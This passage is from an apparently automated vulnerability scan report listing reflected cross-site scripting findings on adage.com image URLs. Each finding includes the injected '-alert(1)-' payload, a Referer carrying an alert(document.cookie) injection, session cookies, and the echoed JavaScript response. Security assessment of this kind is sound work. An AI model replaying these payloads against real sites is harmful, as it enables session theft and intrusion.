hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,
...[SNIP]...

1.42. http://adage.com/images/bottom/menus/digital_alist.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/digital_alist.png

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 28dbf"-alert(1)-"5ba49e931f0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menus28dbf"-alert(1)-"5ba49e931f0/digital_alist.png?1298907838 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:24 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=ED9F204DF827C8DFB2F6AE402D15EFFA5B7EA5C2; path=/
Set-Cookie: HMAC=719EA273D19AB3A28CC4A1234B8043422C60871D; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33966

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
;hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1298907838";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menus28dbf"-alert(1)-"5ba49e931f0/digital_alist.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";

...[SNIP]...

1.43. http://adage.com/images/bottom/menus/digital_alist.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/digital_alist.png

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6bc45"-alert(1)-"27e57250ffb was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menus/digital_alist.png6bc45"-alert(1)-"27e57250ffb?1298907838 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:38 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=BBBFC3F0329F8A953DD8F4313B8D782399273AB9; path=/
Set-Cookie: HMAC=822811C1C4BDE0416F1969FCDBAA60F48255BDD6; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33966

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1298907838";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menus/digital_alist.png6bc45"-alert(1)-"27e57250ffb"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.44. http://adage.com/images/bottom/menus/global_news.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/global_news.png

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload db7ed"-alert(1)-"d60647c9a6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /imagesdb7ed"-alert(1)-"d60647c9a6/bottom/menus/global_news.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:56 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=F693789AD06D494D459F2954D4339AECC3E98274; path=/
Set-Cookie: HMAC=B45FE319142C43A5DB2CFAD9861CC2F7679BF138; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33849

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/imagesdb7ed"-alert(1)-"d60647c9a6/bottom/menus/global_news.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!
...[SNIP]...

1.45. http://adage.com/images/bottom/menus/global_news.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/global_news.png

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 85154"-alert(1)-"63cda7613d5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom85154"-alert(1)-"63cda7613d5/menus/global_news.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:10 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=ABCE0EBF32AB42441F9B01846192F397D51A1ABA; path=/
Set-Cookie: HMAC=BD710585D3FE7A359148FC2C1B9ADA4CE27215F2; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33850

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom85154"-alert(1)-"63cda7613d5/menus/global_news.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.j
...[SNIP]...

1.46. http://adage.com/images/bottom/menus/global_news.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/global_news.png

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b0b1a"-alert(1)-"8081f05ec4a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menusb0b1a"-alert(1)-"8081f05ec4a/global_news.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:27 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=ED2D4CD2CF7E8E6D7A016744A5D48BD2C7329967; path=/
Set-Cookie: HMAC=DF5C436D0AADAB96A7100DF750DC2D988B2AE9FC; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33964

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
;hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menusb0b1a"-alert(1)-"8081f05ec4a/global_news.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hb
...[SNIP]...

1.47. http://adage.com/images/bottom/menus/global_news.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/global_news.png

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 56832"-alert(1)-"8496b6bd209 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menus/global_news.png56832"-alert(1)-"8496b6bd209?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:40 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=C704A36BE02052A610F3B2AA56EE786799C4F952; path=/
Set-Cookie: HMAC=D857F317C8FE3BEBD892BAD548A1762BF43D1F1D; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33964

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
in.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menus/global_news.png56832"-alert(1)-"8496b6bd209"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.48. http://adage.com/images/bottom/menus/hispanic_marketing.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/hispanic_marketing.png

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ffbb9"-alert(1)-"643325e7dca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /imagesffbb9"-alert(1)-"643325e7dca/bottom/menus/hispanic_marketing.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:55 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=E473D107A8D20E2AE84D5DDD5FFB8C774E6DA532; path=/
Set-Cookie: HMAC=DA4D2C56CD26DA3B1B0CE44BBF6EE2D10E73C240; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33857

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/imagesffbb9"-alert(1)-"643325e7dca/bottom/menus/hispanic_marketing.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx
...[SNIP]...

1.49. http://adage.com/images/bottom/menus/hispanic_marketing.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/hispanic_marketing.png

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f2244"-alert(1)-"1c0c3e7ea36 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottomf2244"-alert(1)-"1c0c3e7ea36/menus/hispanic_marketing.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:24 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=C6EDB469175E1E2D5187F0FCF7B3E39BD32C1F35; path=/
Set-Cookie: HMAC=7056C0A9E87472D6BDC90EAEF05BA66059BC65B1; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33971

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottomf2244"-alert(1)-"1c0c3e7ea36/menus/hispanic_marketing.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!
...[SNIP]...

1.50. http://adage.com/images/bottom/menus/hispanic_marketing.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/hispanic_marketing.png

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b43f4"-alert(1)-"942497fcd2a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menusb43f4"-alert(1)-"942497fcd2a/hispanic_marketing.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:38 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=F0E30D9816D449BB321EA7BD11DCA22E07C9D6C6; path=/
Set-Cookie: HMAC=9B704E0C330806DCAFE4F3FDAC631C0711D3BEE6; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33971

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
;hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menusb43f4"-alert(1)-"942497fcd2a/hispanic_marketing.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.
...[SNIP]...

1.51. http://adage.com/images/bottom/menus/hispanic_marketing.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/hispanic_marketing.png

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22c70"-alert(1)-"12e72126006 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menus/hispanic_marketing.png22c70"-alert(1)-"12e72126006?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:54 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=50D0DB98CF28F7C31E1272742895B4BC4CC304E2; path=/
Set-Cookie: HMAC=B8DCC0E99153DD730F93813C8614707542385873; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33971

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
ox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menus/hispanic_marketing.png22c70"-alert(1)-"12e72126006"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.52. http://adage.com/images/bottom/menus/mediaworks.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/mediaworks.png

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 41220"-alert(1)-"dde95f19056 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images41220"-alert(1)-"dde95f19056/bottom/menus/mediaworks.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=34F55CAB0ADFB5BB2785C962192EF3D56A92241B; path=/
Set-Cookie: HMAC=A81897ACCC9CB1489DB66826F8FCD7B2B6992236; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33849

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images41220"-alert(1)-"dde95f19056/bottom/menus/mediaworks.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.
...[SNIP]...

1.53. http://adage.com/images/bottom/menus/mediaworks.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/mediaworks.png

Issue detail

